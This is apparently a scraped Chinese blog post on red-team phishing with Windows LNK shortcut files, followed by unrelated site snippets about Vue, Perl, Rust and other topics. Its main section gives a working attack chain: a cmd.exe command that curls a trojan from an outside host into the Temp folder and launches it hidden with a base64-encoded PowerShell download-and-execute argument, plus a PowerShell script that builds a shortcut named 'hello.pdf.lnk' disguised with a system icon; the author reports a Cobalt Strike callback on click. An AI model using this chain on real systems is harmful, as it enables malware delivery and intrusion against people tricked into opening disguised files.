红队钓鱼技术之LNK快捷方式

简介

lnk文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。lnk钓鱼主要将图标伪装成正常图标,但是目标会执行shell命令


步骤

1.编写shell命令

首先新建一个文本文件test.txt,用于存放要执行的shell命令(其实快捷方式钓鱼的本质就是指向cmd.exe以此来执行shell命令)

test.txt的内容如下所示,其目的是远程下载木马程序至本地存放临时文件的目录,随后附加参数执行木马程序

cmd.exe /c (curl http://192.168.47.155:80/download/mypowershell.exe --output C:\Windows\TEMP\win.exe) & (start /B C:\Windows\TEMP\win.exe SUVYICgobmV3LW9iamVjdCBuZXQud2ViY2xpZW50KS5kb3dubG9hZHN0cmluZygnaHR0cDovLzE5Mi4xNjguNDcuMTU1OjgwL2InKSk=)

start命令用于启动一个新的窗口来运行指定的程序或命令,而/B选项告诉start 命令在后台(即无窗口)运行。这样做的目的是更加隐蔽地执行木马程序


2.编写ps1脚本生成lnk

创建一个powershell脚本文件createlnk.ps1,代码如下所示,其目的是生成一个lnk快捷方式

"test.txt" 文件中获取内容,并将该内容存储在变量 $file$file = Get-Content "test.txt"创建一个 COM 对象,该对象对应于 Windows Script Host Shell,可以用来执行各种系统任务,例如创建快捷方式
$WshShell = New-Object -comObject WScript.Shell使用 WSH Shell 的 `CreateShortcut` 方法创建一个快捷方式,该快捷方式的名称是 "test.lnk"
$Shortcut = $WshShell.CreateShortcut("hello.pdf.lnk")设置快捷方式的目标路径,也就是快捷方式所指向的程序。这里设置的是 cmd.exe,它是 Windows 的命令提示符
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"设置快捷方式的图标位置。这里设置的是 Shell32.dll 文件中的第 1 个图标
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,1"设置当启动目标程序时要传递给它的命令行参数。这里设置的是 "test.txt" 文件的内容
$Shortcut.Arguments = ''+ $file保存对快捷方式的所有更改,创建了实际的 ".lnk" 文件
$Shortcut.Save()

3.运行测试

使用powershell运行createlnk.ps1后会生成一个lnk文件hello.pdf.lnk

点击lnk文件后,会执行之前编写的shell命令。如下图所示,hello.pdf.ink会被真正的pdf文件替换掉,CS成功上线。

这些功能的实现都归功于远程的powershell脚本,后续我会讲解下此脚本的实现思路

动画

远程下载的木马程序其实就是一个模拟powershell的可执行程序,想了解的可以看我博客免杀系列的文章。

这里我讲解下powershell远程执行脚本的代码,从上述的执行效果图可以发现,点击lnk一段时间后才打开真正的pdf文件,这是因为脚本需要花费一些时间去遍历系统的目录以此来寻找到lnk钓鱼文件的所在路径。后面你还可以添加CS上线的powershell代码,这里我就没添上去了

"test.txt" 文件中获取内容,并将该内容存储在变量 $file$file = Get-Content "test.txt"创建一个 COM 对象,该对象对应于 Windows Script Host Shell,可以用来执行各种系统任务,例如创建快捷方式
$WshShell = New-Object -comObject WScript.Shell使用 WSH Shell 的 `CreateShortcut` 方法创建一个快捷方式,该快捷方式的名称是 "test.lnk"
$Shortcut = $WshShell.CreateShortcut("hello.pdf.lnk")设置快捷方式的目标路径,也就是快捷方式所指向的程序。这里设置的是 cmd.exe,它是 Windows 的命令提示符
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"设置快捷方式的图标位置。这里设置的是 Shell32.dll 文件中的第 1 个图标
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,1"设置当启动目标程序时要传递给它的命令行参数。这里设置的是 "test.txt" 文件的内容
$Shortcut.Arguments = ''+ $file保存对快捷方式的所有更改,创建了实际的 ".lnk" 文件
$Shortcut.Save()

上述脚本代码有关于设置快捷方式的图标位置,图标位置的下标排序是从0开始的。例如下图我所指的这个图标,它的位置下标是1(从上往下数, 随后以此从左往右数)

这里还有一个大坑, 我发现在gui界面更换图标后点击lnk文件无法执行对应的shell命令, 只有使用powershell脚本来更换图标文件才能正常执行

image-20230806170455971

参考链接

  • https://xz.aliyun.com/t/9159#toc-5

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/79873.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vuejs源码分析之全局API(vm.$off)

vue在初始化的时候会给vue对象本身挂载一些全局的api。今天我们一个一个来看这些api。 vm.$off方法 这个方法是用来移除自定义事件监听器。 他的用法 vm.$off(event, calback)第一个参数event取值可以是string字符串&#xff0c;也可以是Array<string>也就是说既可以删…

无涯教程-Perl - each函数

描述 在列表context中调用此函数时,将返回一个由2个元素组成的列表,该列表由哈希的下一个元素的键和值组成,以便您可以对其进行迭代。在标量context中调用时,仅返回哈希中下一个元素的键。 语法 以下是此函数的简单语法- each HASH返回值 在列表context中调用此函数时,将返…

如何使用 reqwest 包

GET 请求 向连接发起一个 GET 请求&#xff1a;https://hacker-news.firebaseio.com/v0/topstories.json&#xff0c;并解析返回的内容。 尝试发起请求 因为是 GET 请求&#xff0c;可以先在浏览器中进行查看&#xff0c;浏览器可以正常显示一个 id 列表&#xff0c;如下所示…

P1629 邮递员送信(最短路)(内附封面)

邮递员送信 题目描述 有一个邮递员要送东西&#xff0c;邮局在节点 1 1 1。他总共要送 n − 1 n-1 n−1 样东西&#xff0c;其目的地分别是节点 2 2 2 到节点 n n n。由于这个城市的交通比较繁忙&#xff0c;因此所有的道路都是单行的&#xff0c;共有 m m m 条道路。这…

嵌入式:C高级 Day4

一、整理思维导图 二、写一个函数&#xff0c;获取用户的uid和gid并使用变量接收 三、整理冒泡排序、简单选择排序和快速排序的代码 冒泡排序 #include <myhead.h>void output(int arr[], int len); void bubble_sort(int arr[], int len);int main(int argc, const ch…

摄像机终端IP地址白名单配置流程

海康摄像头配置白名单流程 1.登录海康摄像机前端 2.进入配置-系统-安全管理-IP地址过滤 3.IP地址过滤方式选择“允许” 4.点击添加按钮输入对应的IP地址或者IP网段 5.最后勾选启用IP地址过滤&#xff0c;然后保存 大华摄像头配置白名单流程 1.登录大华摄像机前端 2.进入设…

怎么样通过Bootstrap已经编译好(压缩好)的源码去查看符合阅读习惯的源码【通过Source Map(源映射)文件实现】

阅读本篇博文前&#xff0c;建议大家先看看下面这篇博文&#xff1a; https://blog.csdn.net/wenhao_ir/article/details/132089650 Bootstrap经编译(压缩)后的源码百度网盘下载地址&#xff1a; https://pan.baidu.com/s/14BM9gpC3K-LKxhyLGh4J9Q?pwdm02m Bootstrap未经编译…

优化手机性能,解决卡顿问题:关闭这3个微信开关,释放内存空间

在日常使用手机的过程中&#xff0c;微信无疑是受欢迎和广泛使用的社交应用之一。然而&#xff0c;由于微信的一些默认设置可能会占用大量内存空间&#xff0c;导致手机性能下降并出现卡顿问题。为了提高手机的运行效果&#xff0c;我们需要注意并关闭这3个微信开关&#xff0c…

什么样的跨网文件安全交换系统 可实现安全便捷的文件摆渡?

进入互联网时代&#xff0c;网络的运算和数据管理能力助力各个行业高速发展&#xff0c;但同样带来了一些网络安全隐患&#xff0c;网络攻击、数据窃取、敏感信息泄露等问题。为此&#xff0c;我国出台了系列政策来全面提升银各行业系统网络安全整体防护水平&#xff0c;其中“…

electron+vue3全家桶+vite项目搭建【25】使用electron-updater自动更新应用

文章目录 引入实现效果实现步骤引入依赖配置electron-buidler文件封装版本升级工具类主进程调用版本更新校验渲染进程封装方法调用 测试版本更新 引入 demo项目地址 electron-updater官网 我们不可能每次发布新的版本都让用户去手动下载安装最新的包&#xff0c;而是应用可以…

数据库与数据仓库的区别及关系

数据库与数据仓库的区别及关系 数据库数据仓库异同差异联系例子 数据库 数据库是结构化信息或数据的有序集合&#xff0c;一般以电子形式存储在计算机系统中。通常由数据库管理系统 (DBMS) 来控制。它是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集…

python 合并多个excel文件

使用 openpyxl 思路&#xff1a; 读取n个excel的文件&#xff0c;存储在一个二维数组中&#xff0c;注意需要转置。将二维数组的数据写入excel。 安装软件&#xff1a; pip install openpyxl源代码&#xff1a; import os import openpyxl # 将n个excel文件数据合并到一个…

模拟实现消息队列项目(系列4) -- 服务器模块(内存管理)

目录 前言 1. 创建MemoryDataCenter 2. 封装Exchange 和 Queue方法 3. 封装Binding操作 4. 封装Message操作 4.1 封装消息中心集合messageMap 4.2 封装消息与队列的关系集合queueMessageMap的操作 5. 封装未确认消息集合waitMessage的操作 6. 从硬盘中恢复数据到内存中 7. Memo…

Leetcode 每日一题 - 删除有序数组中的重复项题 #算法 #Java

1.1 题目 给你一个 升序排列 的数组 nums &#xff0c;请你 原地 删除重复出现的元素&#xff0c;使每个元素 只出现一次 &#xff0c;返回删除后数组的新长度。元素的 相对顺序 应该保持 一致 。然后返回 nums 中唯一元素的个数。 考虑 nums 的唯一元素的数量为 k &#xff…

行业追踪,2023-08-07

自动复盘 2023-08-07 凡所有相&#xff0c;皆是虚妄。若见诸相非相&#xff0c;即见如来。 k 线图是最好的老师&#xff0c;每天持续发布板块的rps排名&#xff0c;追踪板块&#xff0c;板块来开仓&#xff0c;板块去清仓&#xff0c;丢弃自以为是的想法&#xff0c;板块去留让…

虹科分享 | 新时代“救命神器”:看AR眼镜如何应用于紧急救险场景

从工业时代到如今迎来的“体验时代”&#xff0c;体验即内容&#xff0c;5G、AI、空间计算技术的突破&#xff0c;为各行各业创建了丰富的内容体验模式&#xff0c;让人们能够听之、触之、与之交互。AR是体验时代最具潜力的新技术&#xff0c;在“应急”场景中更是成为了我们在…

JSP实训项目设计报告—MVC简易购物商城

JSP实训项目设计报告—MVC简易购物商城 文章目录 JSP实训项目设计报告—MVC简易购物商城设计目的设计要求设计思路系统要求单点登录模块商品展示模块购物车展示模块 概要设计Model层View层Controller层 详细设计Model层View层登录界面系统主界面 Controller层 系统运行效果项目…

云计算——ACA学习 云计算概述

作者简介&#xff1a;一名云计算网络运维人员、每天分享网络与运维的技术与干货。 座右铭&#xff1a;低头赶路&#xff0c;敬事如仪 个人主页&#xff1a;网络豆的主页​​​​​ 目录 写在前面 上章回顾 本章简介 本章目标 一.云计算产生背景 1.信息时代的重点变革…

【VUE】前端实现防篡改的水印

效果 水印的作用 图片加水印的操作一般是由后端来完成&#xff0c;有些站点保护的知识产权的类型可能比较多&#xff0c;不仅仅是图片&#xff0c;可能还有视频、文字等等&#xff0c;对于不同类型的对象添加水印后端操作比较复杂&#xff0c;所有有些站点逐步的让前端去进行水…

认识所有权

专栏简介&#xff1a;本专栏作为Rust语言的入门级的文章&#xff0c;目的是为了分享关于Rust语言的编程技巧和知识。对于Rust语言&#xff0c;虽然历史没有C、和python历史悠远&#xff0c;但是它的优点可以说是非常的多&#xff0c;既继承了C运行速度&#xff0c;还拥有了Java…